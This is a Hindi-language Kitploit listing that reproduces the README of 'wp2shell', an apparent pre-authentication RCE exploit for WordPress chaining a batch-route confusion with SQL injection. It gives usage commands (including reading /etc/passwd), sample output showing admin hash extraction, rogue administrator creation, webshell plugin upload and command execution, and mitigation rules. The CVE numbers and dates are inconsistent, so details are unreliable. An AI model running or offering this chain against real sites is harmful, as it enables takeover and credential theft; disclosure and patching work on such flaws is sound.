Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Wp2Shell — Exploit POC for Wp2Shell, CVE-2026-63030 + CVE-2026-63137 | Kitploit
उपकरण/GitHubGitHub/c0gnit00/wp2shell
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access ToolPayload Development
GitHubc0gnit00/wp2shell

Wp2Shell

Exploit POC for Wp2Shell, CVE-2026-63030 + CVE-2026-63137

रिपॉजिटरी देखें
21 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

wp2shell

वर्डप्रेस कोर में प्री-ऑथेंटिकेशन रिमोट कोड एक्जीक्यूशन।

CVE-2026-60137 (WP_Query में SQL इंजेक्शन) को CVE-2026-63030 (REST API बैच रूट कन्फ्यूज़न) के साथ जोड़ा गया।

केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए।


प्रभावित संस्करण

वर्डप्रेस 6.9.0 से 6.9.4 और 7.0.0 से 7.0.1 तक के संस्करण असुरक्षित हैं। 6.9.5 और 7.0.2 में सुधार किया गया।


यह कैसे काम करता है

एक्सप्लॉइट दो कमजोरियों को श्रृंखलित करता है:

CVE-2026-63030 — बैच रूट कन्फ्यूज़न। REST API बैच एंडपॉइंट /wp-json/batch/v1 (या /?rest_route=/batch/v1) पर सब-रिक्वेस्ट को दो चरणों में प्रोसेस करता है: यह प्रत्येक पथ को एक हैंडलर से मैच करता है, फिर प्रत्येक अनुरोध को उसके मैच किए गए हैंडलर के माध्यम से डिस्पैच करता है। जब एक जानबूझकर बिगड़ा हुआ पथ (///) पहली सब-रिक्वेस्ट के रूप में डाला जाता है, तो वर्डप्रेस WP_Error को matched-routes ऐरे के इंडेक्स 0 पर स्टोर करता है। यह प्रत्येक बाद के हैंडलर असाइनमेंट को एक इंडेक्स पीछे स्थानांतरित कर देता है। फिर डिस्पैच लूप प्रत्येक अनुरोध को गलत हैंडलर के साथ जोड़ता है — स्कीमा A के विरुद्ध मान्य किया गया अनुरोध हैंडलर B द्वारा निष्पादित किया जाता है, जिससे स्कीमा A द्वारा लागू किए गए पैरामीटर सैनिटाइज़ेशन को दरकिनार किया जा सकता है।

CVE-2026-60137 — WP_Query में SQL इंजेक्शन। पोस्ट्स कलेक्शन एंडपॉइंट एक author_exclude पैरामीटर स्वीकार करता है जिसकी स्कीमा इंटीजर-टाइप्ड ऐरे वैल्यूज़ को लागू करती है, प्रत्येक तत्व को WP_Query तक पहुंचने से पहले absint() के साथ सैनिटाइज़ करती है। बैच डिसिंक के कारण यह पैरामीटर स्कीमा सत्यापन को पूरी तरह से बायपास करता है और WP_Query के author__not_in लॉजिक में एक कच्चे स्ट्रिंग के रूप में पहुंचता है। क्योंकि absint() केवल is_array() ब्रांच के अंदर लागू होता है, कच्ची स्ट्रिंग सीधे SQL WHERE क्लॉज में डाल दी जाती है, जिससे UNION SELECT इंजेक्शन संभव हो जाता है।

पूरी श्रृंखला चार चरणों में आगे बढ़ती है:

  1. बैच एंडपॉइंट तक पहुंच की पुष्टि करें और डिसिंक कार्यशील है या नहीं।
  2. REST JSON प्रतिक्रिया में परिलक्षित UNION SELECT पंक्तियों के माध्यम से डेटाबेस संस्करण, उपयोगकर्ता, तालिका उपसर्ग, और व्यवस्थापक क्रेडेंशियल्स निकालें।
  3. फर्जी wp_posts पंक्तियों को इंजेक्ट करके एक नया व्यवस्थापक खाता बनाएं जो oEmbed कैश को दूषित करे और WP_Customize_Manager के changeset publish हुक को ट्रिगर करे, जो wp_insert_user() को role=administrator के साथ कॉल करता है।
  4. नए खाते से प्रमाणित करें, मानक प्लगइन अपलोड इंटरफ़ेस के माध्यम से एक ज़िप आर्काइव के रूप में एकल-फ़ाइल PHP प्लगइन अपलोड करें, इसे सक्रिय करें, और शेल के माध्यम से OS कमांड निष्पादित करें।

आवश्यकताएँ

  • Python 3.8 या उससे बाद का संस्करण
  • कोई तृतीय-पक्ष निर्भरता नहीं (केवल मानक लाइब्रेरी)
  • लक्ष्य वर्डप्रेस इंस्टेंस तक नेटवर्क एक्सेस

स्थापना

root@kitploit:~
git clone https://github.com/YOUR_USERNAME/Wp2Shell.git
cd Wp2Shell

कोई pip install आवश्यक नहीं है।


उपयोग

पूर्ण एक्सप्लॉइट श्रृंखला

सभी चार चरणों को चलाता है: डिसिंक पुष्टि, SQL टोही, व्यवस्थापक निर्माण, और वेबशेल तैनाती। प्रत्येक रन पर एक नया व्यवस्थापक खाता और प्लगइन बनाया जाता है।

root@kitploit:~
python3 exploit.py --url http://TARGET --command "id"
root@kitploit:~
python3 exploit.py --url http://TARGET --command "uname -a"
root@kitploit:~
python3 exploit.py --url http://TARGET --command "cat /etc/passwd"

स्व-हस्ताक्षरित प्रमाणपत्र वाले HTTPS लक्ष्य के लिए:

root@kitploit:~
python3 exploit.py --url https://TARGET --command "id" --insecure

मौजूदा वेबशेल का पुन: उपयोग

पूर्ण-श्रृंखला रन पूरा होने के बाद, स्क्रिप्ट तैनात क्रेडेंशियल्स और शेल पथ के साथ एक रेडी-टू-यूज़ पुन: उपयोग कमांड प्रिंट करती है। बाद के रनों पर उन तीन फ्लैग को पास करें ताकि SQL और व्यवस्थापक-निर्माण चरणों को पूरी तरह से छोड़ दिया जा सके:

root@kitploit:~
python3 exploit.py \
  --url                  http://TARGET \
  --command              "whoami" \
  --admin-user           wp2_poc_da4d1cf83acb \
  --admin-password       "Wp2!J47LBKLEbu4ebAJo" \
  --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php

कमांड-लाइन संदर्भ

root@kitploit:~
usage: exploit.py [-h] [--url URL] [--command CMD] [--insecure]
                  [--admin-user USER] [--admin-password PASS]
                  [--prev-webshell-plugin PATH]

तीनों --admin-* / --prev-webshell-plugin फ्लैग को एक साथ या बिल्कुल नहीं दिया जाना चाहिए।


उदाहरण आउटपुट

पूर्ण श्रृंखला

root@kitploit:~
+======================================================================+
|         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |
|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)  |
+======================================================================+
  Target :  http://localhost:8080
  Command:  uname -a
  Mode   :  FULL CHAIN

[STEP 1] Verifying batch endpoint + route-confusion desync
  [+] Batch endpoint reachable (HTTP 207)
  [+] Route-confusion desync confirmed (markers: block_cannot_read, parse_path_failed, rest_batch_not_allowed)

[STEP 2] UNION SQLi -- database reconnaissance
  [+] Database version  : 10.11.18-MariaDB-ubu2204
  [+] Database user     : wpuser@%
  [+] Database name     : wordpress
  [+] Table prefix      : wp_
  [+] Admin login       : admin
  [+] Admin hash (phpass) : $wp$2y$10$BSAr2Yyk/...
  [+] Admin user ID     : 1

[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
  [*] Seeding oEmbed cache with 3 loopback URLs...
  [+] oEmbed cache IDs: [96, 97, 98]
  [*] Submitting changeset poison + user creation...
  [+] Admin created -- username: wp2_poc_da4d1cf83acb  password: Wp2!J47LBKLEbu4ebAJo

[STEP 4] Authenticating + deploying webshell -- running: uname -a
  [*] Logging in to wp-admin...
  [+] Logged in as administrator
  [*] Uploading webshell plugin (slug: wp2shell_6c6f62a8)...
  [+] Plugin uploaded
  [*] Activating plugin...
  [+] Plugin activated
  [*] Executing: uname -a

============================================================
  COMMAND OUTPUT  --  uname -a
============================================================
Linux target 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
============================================================

  [+] RCE confirmed -- Pre-Auth exploit chain complete

  +-- RE-USE HINT ------------------------------------------+
  |  Skip the full chain next time -- pass these flags:      |
  +-----------------------------------------------------------+

  python3 exploit.py \
    --url                  http://localhost:8080 \
    --command              'YOUR_COMMAND' \
    --admin-user           wp2_poc_da4d1cf83acb \
    --admin-password       'Wp2!J47LBKLEbu4ebAJo' \
    --prev-webshell-plugin /wp-content/plugins/wp2shell_6c6f62a8/wp2shell_6c6f62a8.php

शमन

तुरंत एक सुधारित रिलीज़ में अपडेट करें।

  • वर्डप्रेस 7.0.x: 7.0.2 या उससे बाद के संस्करण में अपडेट करें — wp core update
  • वर्डप्रेस 6.9.x: 6.9.5 या उससे बाद के संस्करण में अपडेट करें — wp core update --version=6.9.5
  • वर्डप्रेस 6.8.x: 6.8.6 या उससे बाद के संस्करण में अपडेट करें — wp core update --version=6.8.6

यदि तुरंत पैच लगाना संभव नहीं है, तो वेब सर्वर या WAF स्तर पर बैच एंडपॉइंट के दोनों URL रूपों को ब्लॉक करें। दोनों रूट को ब्लॉक किया जाना चाहिए — केवल pretty-permalink फॉर्म को कवर करने वाला नियम query-string फॉर्म को खुला छोड़ देता है:

root@kitploit:~
# Nginx
location ~* "^/wp-json/batch" { return 403; }
location ~* "rest_route=/batch" { return 403; }
root@kitploit:~
# Apache
RewriteRule ^wp-json/batch - [F,L]
RewriteCond %{QUERY_STRING} rest_route=/batch [NC]
RewriteRule ^ - [F,L]

या must-use प्लगइन का उपयोग करके वर्डप्रेस के भीतर से एंडपॉइंट को अक्षम करें:

root@kitploit:~
<?php
// wp-content/mu-plugins/disable-batch.php
add_filter( 'rest_batch_enabled', '__return_false' );

पैच-पूर्व सभी नियंत्रणों को केवल अस्थायी पुल के रूप में मानें। जितनी जल्दी हो सके पैच लागू करें और बाद में प्रत्येक इंटरनेट-फेसिंग इंस्टेंस पर स्थापित संस्करण सत्यापित करें।


संदर्भ

  • Searchlight Cyber सलाह: https://www.assetnote.io/resources/research/wp2shell
  • वर्डप्रेस 7.0.2 रिलीज़ नोट्स: https://wordpress.org/news/2026/07/wordpress-7-0-2
  • वर्डप्रेस 6.9.5 रिलीज़ नोट्स: https://wordpress.org/news/2026/07/wordpress-6-9-5
  • Wordfence सलाह: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-core/wp2shell
  • Rapid7 विश्लेषण: https://www.rapid7.com/blog/post/2026/07/wp2shell

अस्वीकरण

यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत पेनिट्रेशन परीक्षण के लिए प्रदान किया गया है। सिस्टम स्वामी से स्पष्ट पूर्व लिखित अनुमति के बिना किसी भी सिस्टम पर इसे चलाना अवैध है। लेखक किसी भी दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते हैं।

टूल डाउनलोड करें
FlagShortविवरण
--url-uलक्ष्य वर्डप्रेस आधार URL. डिफ़ॉल्ट: http://localhost:8080
--command-cनिष्पादित करने के लिए OS कमांड. डिफ़ॉल्ट: id
--insecure-kस्व-हस्ताक्षरित प्रमाणपत्रों के लिए TLS प्रमाणपत्र सत्यापन अक्षम करें
--admin-userपुन: उपयोग मोड: पहले बनाया गया व्यवस्थापक उपयोगकर्ता नाम
--admin-passwordपुन: उपयोग मोड: पहले बनाया गया व्यवस्थापक पासवर्ड
--prev-webshell-pluginपुन: उपयोग मोड: पहले से तैनात वेबशेल प्लगइन का वेब पथ